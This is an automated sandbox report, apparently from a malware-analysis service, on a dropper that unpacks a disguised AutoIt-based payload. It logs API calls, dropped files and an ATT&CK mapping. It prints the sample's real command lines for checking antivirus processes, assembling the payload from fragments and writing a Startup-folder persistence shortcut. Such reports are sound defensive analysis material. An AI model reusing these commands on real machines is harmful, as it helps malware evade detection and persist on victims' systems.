Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\ldqj18tn.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: ldqj18tn.exe

Static file information: File size 1656911 > 1048576

Source: ldqj18tn.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\ldqj18tn.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F18B75 push ecx; ret	11_2_00F18B88
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00D8CBDB push eax; retf	17_2_00D8CBF8
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00D98B75 push ecx; ret	17_2_00D98B88

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	File created: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr			Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	File created: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr			Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoMesh.url

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoMesh.url

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F759B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	11_2_00F759B3
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F05EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	11_2_00F05EDA
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DF59B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	17_2_00DF59B3
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00D85EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	17_2_00D85EDA

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

Code function: 11_2_00F133B7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

11_2_00F133B7

Source: C:\Users\user\Desktop\ldqj18tn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_11-100421

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	API coverage: 4.9 %
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	API coverage: 4.7 %

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\ldqj18tn.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\ldqj18tn.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\ldqj18tn.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F54005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00F54005
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F5494A GetFileAttributesW,FindFirstFileW,FindClose,	11_2_00F5494A
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F53CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00F53CE2
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F5C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	11_2_00F5C2FF
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F5CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	11_2_00F5CD9F
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F5CD14 FindFirstFileW,FindClose,	11_2_00F5CD14
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F5F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_00F5F5D8
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F5F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_00F5F735
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F5FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	11_2_00F5FA36
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DD4005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	17_2_00DD4005
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DD494A GetFileAttributesW,FindFirstFileW,FindClose,	17_2_00DD494A
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DDC2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	17_2_00DDC2FF
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DDCD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	17_2_00DDCD9F
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DDCD14 FindFirstFileW,FindClose,	17_2_00DDCD14
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DDF5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	17_2_00DDF5D8
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DDF735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	17_2_00DDF735
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DDFA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	17_2_00DDFA36
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DD3CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	17_2_00DD3CE2

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

Code function: 11_2_00F05D13 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

11_2_00F05D13

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\704579	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\704579\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Source: Organizational.pif, 0000000B.00000002.4004748020.0000000003CFB000.00000004.00000020.00020000.00000000.sdmp, InnoMesh.scr, 00000011.00000002.4004946985.0000000003F60000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

Code function: 11_2_00F645D5 BlockInput,

11_2_00F645D5

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

Code function: 11_2_00F05240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

11_2_00F05240

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

Code function: 11_2_00F25CAC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

11_2_00F25CAC

Source: C:\Users\user\Desktop\ldqj18tn.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

Code function: 11_2_00F488CD GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

11_2_00F488CD

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F1A385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00F1A385
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F1A354 SetUnhandledExceptionFilter,	11_2_00F1A354
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00D9A385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_00D9A385
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00D9A354 SetUnhandledExceptionFilter,	17_2_00D9A354

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

Code function: 11_2_00F49369 LogonUserW,

11_2_00F49369

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

Code function: 11_2_00F05240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

11_2_00F05240

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

Code function: 11_2_00F51AC6 SendInput,keybd_event,

11_2_00F51AC6

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

Code function: 11_2_00F551E2 mouse_event,

11_2_00F551E2

Source: C:\Users\user\Desktop\ldqj18tn.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Descending Descending.bat & Descending.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 704579	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "MARTNMSPIDERRINGTONE" Mh	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Consequence + ..\Gently + ..\Situations + ..\International + ..\Jet + ..\Commodities + ..\Mood + ..\Fastest + ..\Estimate + ..\Jessica + ..\Prof + ..\Becoming + ..\Princess + ..\Required + ..\Traveller + ..\Against u	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif Organizational.pif u	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr "C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr" "C:\Users\user\AppData\Local\TechMesh Dynamics\M"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\innomesh.url" & echo url="c:\users\user\appdata\local\techmesh dynamics\innomesh.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\innomesh.url" & exit
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\innomesh.url" & echo url="c:\users\user\appdata\local\techmesh dynamics\innomesh.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\innomesh.url" & exit			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

11_2_00F488CD

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

Code function: 11_2_00F54F1C AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

11_2_00F54F1C

Source: ldqj18tn.exe, 00000000.00000003.2138986925.00000000029D2000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000003.2196672536.000000000427A000.00000004.00000800.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: Organizational.pif, InnoMesh.scr	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

Code function: 11_2_00F1885B cpuid

11_2_00F1885B

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

Code function: 11_2_00F30030 GetLocalTime,__swprintf,

11_2_00F30030

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

Code function: 11_2_00F30722 GetUserNameW,

11_2_00F30722

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

Code function: 11_2_00F2416A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

11_2_00F2416A

Source: C:\Users\user\Desktop\ldqj18tn.exe

Code function: 0_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406805

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: InnoMesh.scr	Binary or memory string: WIN_81
Source: InnoMesh.scr	Binary or memory string: WIN_XP
Source: InnoMesh.scr	Binary or memory string: WIN_XPe
Source: InnoMesh.scr	Binary or memory string: WIN_VISTA
Source: InnoMesh.scr	Binary or memory string: WIN_7
Source: InnoMesh.scr	Binary or memory string: WIN_8
Source: InnoMesh.scr.11.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 3USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F6696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	11_2_00F6696E
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F66E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	11_2_00F66E32
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DE696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	17_2_00DE696E
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DE6E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	17_2_00DE6E32

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	2 Valid Accounts	1 Windows Management Instrumentation	11 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	21 Input Capture	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	2 Valid Accounts	2 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
